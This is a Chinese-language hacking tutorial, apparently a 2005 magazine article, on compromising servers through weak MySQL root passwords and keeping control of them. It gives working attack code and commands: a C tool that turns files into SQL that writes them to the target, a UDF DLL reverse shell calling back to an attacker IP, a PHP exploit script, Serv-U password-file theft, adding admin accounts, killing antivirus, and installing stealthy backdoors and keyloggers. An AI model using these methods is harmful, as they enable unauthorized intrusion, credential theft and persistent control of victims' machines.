從Mysql到系統權限

注:此文已在黑客防線05年7期發表
Mysql數據庫是一種應該非常廣泛的數據庫,其默認開放端口3306,在Linux、Unix系統中主要是Apache+php+Mysql的配製方式,在Microsoft windows系列中主要是php+Mysql的配製方式,本文主要介紹拿到Root口令後在Win2K、WinXP和Windows2003系統中如何來提升爲系統管理員,並介紹幾種加固肉雞的方法,大家肯定不希望辛辛苦苦得到的肉雞不易而飛吧!文章有不當之處請高手多多指教。
近來在實戰中經過反覆實驗總結了自己的一套方法,也得了一些肉雞,2cpu的4cpu的2G內存的,4G內存的皆有,速度真快啊,好爽啊,有點跑題了,哈哈。現在整理一下思路共享出來與廣大黑迷分享(好東西要共同分享嗎,哈哈),同時希望管理員把root密碼設置的更安全些。以前也玩過Mysql,不過沒仔細分析,近來研究主要是因爲看了Mix的一篇文章高手們可能一看就會,但是廣大菜鳥朋友們可能就有些暈了。接下來根據分同情況,原理加實例給大家一一講解,不要閒偶羅嗦啊!
 一、命令行下反向連接管理員權限Shell
反向連接Shell要滿足兩個條件:
第一:可以通過MySQL上傳二進制文件,這裏就借用一下Mix早編好的一個具有反向連接功能的Mix.dll文件,偷點懶吧,當然你也可以編寫別的功能的dll文件。
第二:可以通過註冊UDF DLL中自寫的Function而執行任意命令。
上傳二進制文件的原理如下:
定義二進制數據(十六進制表示)
set @a = concat('',0x4d5a900003000000);//定義量a,變通過函數concat()給它符值
set @a = concat(@a,0x04000000ffff0000b80000000);//繼續符值
………………//同上繼續符值,直到把要上傳的二進文件內容全部符給變量a
create table Mix(data LONGBLOB);//建立數據表Mix,僅一個字段data以存放二進制數據
insert into Mix values("");update Mix set data = @a;// 將二進制數據存放到表中
select data from Mix into DUMPFILE 'C:\\Mix.dll';//把表中內容導出到遠程機器c:\Mix.dll中
注:CONCAT(str1,str2,...) 返回來自於參數連結的字符串。如果任何參數是NULL,返回NULL。可以有超過2個的參數。一個數字參數被變換爲等價的字符串形式。 在導出文件時如果函有字符‘\’,‘/’,‘”’時在前面要加上字符’\’
雖然上面介紹了方法,但是我們不可能打開十六進制編輯器一個ASCII碼一個ASCII碼的手工輸進去,爲此專門利用VC 編了一個小程序方便大家使用,此程序二進制,ASCII文件均可上傳,經實驗幾百K的文件是可以上傳上去的,如果文件大了可能會超出變量的賦值範圍報錯,其實經常用到的後門程序也就幾十K,這已足已,如真需要上傳大的文件可以成功後利用Ftp上傳。以下是程序Mysql_upfile.exe源代碼:
#include
#include
#include
unsigned long filelength(char *fl);//把輸入的文件長度,由字符串型轉換成十進制。
int main(int argc, char *argv[])
{FILE *fp;
char ch;
unsigned int i=1;
if(argc !=4)
{ printf("\n# Mysql upfile written by yongger QQ:15387788 \n");
printf("# Mysql_upfile.exe >yongger.txt\n",argv[0]);
printf("# LocalFile   // 本地要上傳的文件名!\n");
printf("# Filelength  // 要上傳文件十進制長度!\n");
printf("# RemoteFile  // 輸出到遠程機器的的文件名!\n");
printf("# >yongger.txt //輸出內容重定向到yongger.txt中!\n");
printf("# 1. Mysql_upfile.exe c:\\nc.exe 40062 c:\\\\nc.exe >yongger.txt\n");
printf("# 2. c:>mysql -h ip -uroot -p //登錄遠程Mysql數據庫 \n");
printf("# 3. mysql>\\. yongger.txt  //執行腳本\n");
printf("# 獻給幾位好友:Lm,wtf,icyfox,llikz,xiaodao,hunshimowang……\n");
return 0; }
if((fp=fopen(argv[1],"rb"))==NULL)//打開本地上傳的文件!
{printf("Cannot open file !");
exit(1);}
ch=fgetc(fp);
printf("set @a = concat('',0x");
while (i<=filelength(argv[2]) && i>0)//while語句中爲核心代碼
{if ( ch>=0 && ch<=15 )
printf("0%x",ch);
else printf("%x",(ch+256)%256);
ch=fgetc(fp);
i++;}
fclose(fp);
printf(");\n");
printf("use mysql;\n");
printf("create table yongger(data LONGBLOB);\n");
printf("insert into yongger values(\"\");\n");
printf("update yongger set data = @a;\n");
printf("select data from yongger into DUMPFILE \'%s\';\n",argv[3]);
printf("drop table yongger;");
return 0;}
unsigned long filelength(char *fl)
{int i,j;
 unsigned long result;
 j=1;
 result=0;
 for(i=strlen(fl);i>=1;i--)
 { result+=(fl[i-1]-48)*j;
  j*=10; }
 return result;}
注:while語句中循環部分爲此程序的核心代碼,如讀文本文件時可以利用EOF來判斷是否文件結束,但應用到二制文件時不成,所以利用變量I來控循環長度。因一個字符佔8位,如果ASCII在0-15即十六進制的0-A當中時,用編輯器打開前面會多一個’0’, 所以利用語句printf("0%x",ch)輸出。在讀取二進制文件長度的字符時發現有的ASCII讀出來是負數,經分析加上256後與編輯器中看到的ASCII值相同,所以利用語句printf("%x",(ch+256)%256)來輸出。如圖1所示:

   此程序主要是生成能讓mysql執行的上傳腳本
mysql_upfile mix.dll 20480 c:\\mix.dll >yongger.txt//mix.dll是mix早編好的具有反向連接功能的dll文件,偷個懶拿來用用,哈哈。可以利用 dir命令或查看文件屬性來確定此文件的字節數,c:\\mix.dll爲傳到遠程機器上的位置(爲了增加隱蔽性要以傳到別的目錄下,並起一個類似系統調用的文件名)。不要忘了加’\’噢!最後在加上>yongger.txt我們就所內容定向輸出到yongger.txt裏面了。
先在自己機器上裝一個Mysql(偶裝的是4.1.10-nt),通過命令mysql [-h host] [-u username] [-p[password]] [dbname]登錄遠程Mysql數據庫,給大家來一段小插曲,如何得到弱口令的機器嗎?裝一個hscan1.2在Parameter Setting哪裏設置一個大一點的IP範圍(掃掃國外的不錯噢),在Scan Modules Config 哪裏只選擇掃描check MYSQL weak accounts ,掃描的用戶名和弱口令我們也可以自行修改conf目錄下的mysql_user.dic和mysql_pass.dic文件。該休息了,找臺肉雞掛上去跑吧,等天早上起來看看有沒有收穫。哈哈還算可以吧,有四臺機器如下圖所示:

從Mysql Version來看,找版本越高的,後面帶有nt字樣的成功率會更高一些。Mysql –h 202.142.**.* -uroot –p 成功登錄遠程數據庫後,可以利用命令status但看數據狀態如下圖:

執行命令 \. F:\tools\lm\debug\yongger.txt (注意“\”後有個“點”)出現如下圖所示表示我們已經把mix.dll文件成功的傳到了遠程的c:\mix.dll下。

準備工作都做好了,最關鍵的部分到了,如何來反向連接。
利用如下語句創建函數:create function Mixconnect rerurns string soname 'c:\\mix.dll';/*注意修改文件地址
執行函數反向連接:select Mixconnect('61.156.*.*','521');/*注意修改反連回來的IP地址和端口號
注:CREATE [AGGREGATE] FUNCTION function_name RETURNS     SONAME shared_library_name
一個用戶可定義函數(UDF)是用一個像MySQL的原生(內置)函數如ABS()和CONCAT()的新函數來擴展MySQL的方法。 AGGREGATE是MySQL 3.23的一個新選項。一個AGGREGATE函數功能就像一個原生MySQL GROUP函數如SUM或COUNT()。 CREATE FUNCTION在mysql.func系統表中保存函數名、類型和共享庫名。你必須對mysql資料庫有insert和delete權限以創建和拋棄函數。 所有活躍的函數在每次伺服器啟動時被重新裝載,除非你使用--skip-grant-tables選項啟動mysqld,在這種情況下,UDF初始化被跳過並且UDF是無法獲得的。(一個活躍函數是一個已經用CREATE FUNCTION裝載並且沒用DROP FUNCTION刪除的函數。)
如下面兩圖所示:成功創建函數,Mixconnect,以及反向連接成功。如執行create function Mixconnect returns string soname ‘c:\\mix.dll’;語句報錯剛表明創建函數失敗,以致無法取得SHELL,希望哪位高手能解決此問題。還有一個問題就是執行完語句select Mixconnect('61.156.*.*','521');後,退出後重新連數據庫時,會報錯,以致無法在連接上。珍對此種情況下文講介紹另一種方法,有可能能得到系統權限。得到了SHELL後如何加後門,欲知詳請,請看下文……


二、webshell下反向連接管理員權限SHELL
1.如果你得到一個webshell, 可以通過查看c:\winnt\my.ini(Win2003在c:\windows\my.ini) 的內容得到root的密碼。上傳一個phpspy.php上去,進入SQL語句執行功能。執行語句GRANT ALL PRIVILEGES ON *.* TO yongger@'%'IDENTIFIED BY '123456' WITH GRANT OPTION ;填加了一個遠程root權限用戶:yongger密碼:123456。這樣就可以利用上面的命令行方法了。

2.也可以利用phpspy.php把mix.dll上傳上去, 在執行SQL語句:
create function Mixconnect rerurns string soname 'x:\\mix.dll';
select Mixconnect('61.156.*.*','521');
3。Superhei可修改並執行下superhie的程序來進行反向連接,代碼如下:
/************************************* ** Mysql function exp ** By SuperHei **************************************/ //數據庫設置 $host='localhost'; $user='root'; $pass=''; //dll路徑 $dll_path='c:\\faukmix.dll'; //shell設置 $chost='127.0.0.1'; $cport='5000'; //=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=$link=mysql_connect($host,$user,$pass); if (!$link) { die('Could not connect: ' . mysql_error());} echo "Connected successfully as root ";echo "Create Function Myconnect...."; $query="create function myconnect returns integer soname '".$dll_path."';"; //echo $query; $result = mysql_query($query, $link) or print ("Cannot Create Fun, Sorry! "); echo "Ok!!";echo "Select Function ...."; $query="select myconnect('".$chost."','".$cport."');"; //echo $query; $result = mysql_query($query, $link); echo "Ok!!"; sleep(1);echo "Drop Function ...."; $query="drop function myconnect;"; $result = mysql_query($query, $link); mysql_close($link); echo "Ok!!";?>
三、無法創建函數時,如何取得管理員權限
如果我們可以通過MySQL上傳二進制文件,而不能通過註冊UDF DLL中自定義Function函數來執行任意命令。

1、啓動等待法
我們可以把要執行的程序加到啓動裏面,比如寫一個簡單的加賬號的批處理文件,內容如下: net user test test /add del test.bat /f /q ,執行命令mysql_upfile.exe test.bat 43 C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啓動\\test.bat >c:\test.txt 然後登錄遠程mysql主機,執行\. C:\test.bat 如下圖所示,就把test.bat傳到遠程機器的所有用戶的啓動裏面了。哈哈,就等遠程機器重新啓動了。
注:下圖成功寫入啓動的機器是WIN2k SERVER版,但在XP上做實驗時遇到輸漢字的目錄時,輸出時是亂碼,希望高手指教。此批處理文件在開機執行時會彈出一個命令窗口,執行後文章並未刪除。文章給大家介紹一款優秀的反彈木馬。


2、Serv-U提權法
很多裝有Mysql的機器同進也裝有Serv-U,特別是虛擬主機給每一個用戶開一個FTP帳戶方便用戶的更新,可以通過MYSQL讀出它的密碼檔文件ServUDaemon.ini,如果遇到明文的密碼,可以通過FTP直接上傳SHELL,如果是密文可以查看WEB路徑然後通過MYSQL導出SHELL。接下來結合一下具體的例子給大家演示一下:
首先導出密碼檔文件ServUDaemon.ini。在MYSQL提示符下輸入:\. c:\getservupwd.txt
Getservupwd.txt腳本內容如下:
use mysql;
create table yy(data TEXT);
insert into yy values("");
load data infile "c:\\program files\\serv-u\\servudaemon.ini" into table yy;
select data from yy; \T c:\ServUDaemon.ini
drop table yy;
執行完畢後,就可在你的C盤下看ServUDaemon.ini的內容了,如果SERVU未安裝在C盤,可以試一下是否在D盤上,經多次實驗很多管理員都是默認路徑安裝的,如果是自定義安裝,設置個變態的路徑,哈哈,哪就沒的玩了。密碼檔內容如下圖所示:

其次,有了密碼檔,我們想辦法來上傳WEBSHELL。哇,50多個用戶,密碼還是明文的來(第一次遇到),上傳WEBSHELL。但是我們經常遇到密碼是經過加密的,如果你有時間有好的機器不反對爆破,在這裏可以通過密碼檔和到網站的物理路徑,細心的朋友一定注意到了,上面密碼檔的HomeDir 後面的路徑裏面沒有“\”,這主要是因爲MYSQL在讀取時沒有讀出來,但是我們可以猜測出來的。很多管理員在給不同的站點建目錄的時候是有規律的,經常是以它們的網站名稱來建目錄的,利用這一點在結合密碼檔中的USER這個參數值,在對比一下不同幾個站點的HomeDir你就不難發現在哪裏省略了“\”,有了物理路徑,利用前面講的方法就可以把SHELL上傳上去了。
最後,想辦法提權限。
1.查看是否裝有pcanywhere,如下圖所示,這個站的pcanywhere的密碼檔的路徑有點變態,也許是自己思維定式,一般密碼檔都放在All Users目錄下,然後它放在到All User.WINNT目錄下了,暈倒!害的偶找了老半天。Pcanywhere遠程連接登錄,還要WIN2003登錄密碼,拿Pcanywhere的試了試不對,找到my.ini文件看了看root的口令,拿來試了試也不對,沒辦法在想別的辦法吧!
2.找SA密碼,拿pcanywhere和mysql的root口令連MSSQL數據庫都沒成功,瀏覽了好幾個站的數據庫連接文件都沒找到SA口令,看來是沒的玩了,在想別的辦法吧。
3.還是拿Serv-u開刀吧。分別上傳一ASP和PHP的SHELL後,均無法執行命令,鬱悶啊,有些朋友這在想辦法時可能會抽根菸慢慢想,咱不抽菸,抽菸有害身體健康,還是洗個西紅柿,邊吃想吧,哈哈。黑防上曾有一篇文章,在不能執行命令時利用ASP程序來如何提權,可惜手頭沒有,問了幾個朋友也沒有,只好放棄。到是跟朋友借了一個PHP下的SERV-U提權的程序,可惜實驗時報錯。這時想到了上傳一個ASP。NET的SHELL上去試試,傳了lake2寫的一個SHELL上去,哇能執行命令,如下圖所示:


DOS窗口的SHELL用習慣了,在肉雞上用NC反向連接個SHELL出來,如下圖所示:

雖然有了SHELL而且能執行命令,但是現在的權限還是不夠。傳了一個SU。EXE上去看看是否能提升權限,雖然經常利用它提權成功,可以加一個管理員用戶,但是這次失敗了,看來是真的沒的玩了,真想放棄了。有意栽花花不發,無心插柳柳成陰。在不經意間讀SERV-U密碼檔的時候意然發現了一個具有執行權限的用戶,在加上密碼是明文,ftp登錄執行命令quote site exec “net user username passpwd /add” quote site exec “net localgroup administrators username /add” 如下圖所示填加用戶成功,可以3389登錄了。

3.以上主要是針對windows系統的,對 unix和linux簡單說幾句,看運行了。
use mysql;
create table yy(data TEXT);
insert into yy values("");
load data infile "\/etc\/passwd" into table yy;
select data from yaiy; \T c:\passwd.txt
drop table yy;
利用以上腳本可以讀出passwd的內容,可以看出網站的路徑,在結合明小子的域名查詢工具 domain.exe,猜測網站上的可寫目錄,通過圖片所在的目錄可寫。利用前面的方法通過mysql寫個phpspy.php上去。看是否能執行命令, 如果能id一下看看如何是root運氣,如果不是uname –a 一下查看版本,去找牛人寫的expliot程序,行不行就看運行了。
四、如何做到“肉雞常相伴”
辛苦了好大一陣,好不容易反向連接一個系統權限的SHELL,接下來該如何加後門了。如果在安裝後門時不成功可能是有殺毒軟件,可以利用net stop 停掉服務,或利用pskill.exe 殺掉相應進程。
1.經典黑客工具MT。強烈建議大家在反向連接SHELL前,先上傳一個MT上去,當然你也可以把自己經常用的工具提前上傳上去。克隆賬號,GUEST賬號通常被管理員禁止了。Net user guest passwd 給guest改個密碼。Mt .exe –clone Administrator guest 把guest克隆成管理員。 可以利用mt.exe –chkuser 檢查是否克隆成功。如果未開3389可以利用mt.exe –setupts 開啓。還可以利用mt.exe –netget下載別的後門程序。如果沒有提前上傳MT,可以試利用tftp.exe –I get IP removefilename localfilename 。
 注:有時MT不能用,可以在別的後門程序開的DOS SHELL中試試。
2. 一款優秀的反向連接後門pcshare 。
想辦法申請一個HTTP網絡空間,並能通過FTP登錄。點“生成客戶”按鈕配置被控端程序。IP地址和端口填入等待控制端連接的地址和端口。選中“啓用自備URL軒發本機IP地址”,在指定轉發URL中填入你的HTTPP空間,如圖yy.txt 中存放的等待控制端連接的地址和端口,可以通過IP刷新功能隨時更新,更好的適應動態變化的用戶。宿主進程名可根據自己不同需求選擇,選中運行後自刪除和鍵盤監控,點擊生成,控制端就配置好了。有了運行後自刪除功能,我們可以把它放到啓動裏面,它運行後即不會彈出窗口,也自動刪除。它的鍵盤記錄功能非常有助於進一點滲透。
注:如安裝不成功很有可能是被殺毒軟件查殺(如瑞星,諾盾),可以利用前面講的方法先把殺毒軟件關掉。


3. Radmin也瘋狂
  安裝radmin需上傳五個文件r_server.exe ,AdmDll.dll,raddrv.dll,regadmin.reg,install.bat
radmin.reg內容如下:
[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin]
[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0]
[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server]
[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\iplist]
[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters]
"Port"=hex:ed,0c,00,00 //所開的端口
"Timeout"=hex:0a,00,00,00
"EnableLogFile"=hex:00,00,00,00
"LogFilePath"="c:\\logfile.txt"
"FilterIp"=hex:00,00,00,00
"DisableTrayIcon"=hex:01,00,00,00
"AutoAllow"=hex:00,00,00,00
"AskUser"=hex:00,00,00,00
"EnableEventLog"=hex:00,00,00,00
"NTAuthEnabled"=hex:00,00,00,00
"Parameter"=hex:99,b6,39,73,3c,39,98,a4,d3,8d,11,76,48,ef,2e,0f //密碼
建一批處理文件install.bat文件內容如下:
regedit /s radmin.reg
R_server.exe /install /silence
net start r_server
del radmin.reg /f /q
del install.bat /f /q
上傳完畢後運行一下install.bat後門就安裝好了
注:在上傳多個文件時,可以先利用winrar壓縮,然後在利用命令行工具rar.exe解壓。
4. 黑客之門大開方便之門
黑客之門1.2安裝方法:
①感染系統文件的安裝方式
注意:其中‘DllRegisterServer’是大小寫敏感的,以下所有演示過程都是在命令行窗口下進行的。
C:\>rundll32 hkdoordll,DllRegisterServer conime.exe 1 1 其中 hkdoordll是黑客之門服務器端,必須放在system32目錄下,可以改名,conime.exe是你要感染的進程默認是services.exe,如果要感染系統文件,在system32目錄下的不用帶路徑,其它的就要帶路徑,第一個1是安裝方式,0表示只感染系統文件,1表示只感染進程,2表示感染系統文件,同時感染進程,默認是2;第2個1是啓動方法,0是通過創建svchost啓動的服務來啓動後門,1是通過感染系統文件來啓動後門,默認是1。
C:\>rundll32 hkdoordll,DllRegisterServer 上面是默認安裝方式,它會感染services.exe文件,以便在系統重啓時啓動後門,同時把自己加載到services.exe進程中注意:除了csrss.exe,smss.exe外,其它的系統文件都可以感染要判斷有沒有安裝成功,就要看system.tmp裏的信息,它放在%winnt%\temp目錄下,方法如下:C:\WINNT\temp>type system.tmp //這個文件的生成會有延時,多type幾次系統找不到指定的文件。
②通過svchost啓動服務的安裝方式
在命令行下運行‘rundll32 hkdoordll,DllRegisterServer 服務名 2 0’就可以了,其中‘服務名’必須合法,如運行‘rundll32 hkdoordll,DllRegisterServer Iprip 2 0’,就創建用svchost.exe來啓動的Iprip服務來啓動黑客之門,如果你不知道合法的服務名,可以先隨便給一個,然後到日誌裏去看合法的服務名列表。
5. 記錄密碼法
所謂記錄密碼法就是登錄進它的系統後,可以利用黑客之門或利用mt -findpass查看當前系統用戶的密碼,很多管理員的密碼都是相當變態的噢!下載SERV-U密碼檔,破解pcanywhere密碼,記錄MYSQL的ROOT密碼,如能發現sa密碼當然在好不過,如果沒有可以利用命令exec master..sp_addlogin UserName,Password
exec master..sp_addsrvrolemember UserName,sysadmin加一個SA權限的用戶。
   以上幾種後門的查找與清除也比較簡單,在此不在綴述,文章有不當之處請高手指教
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章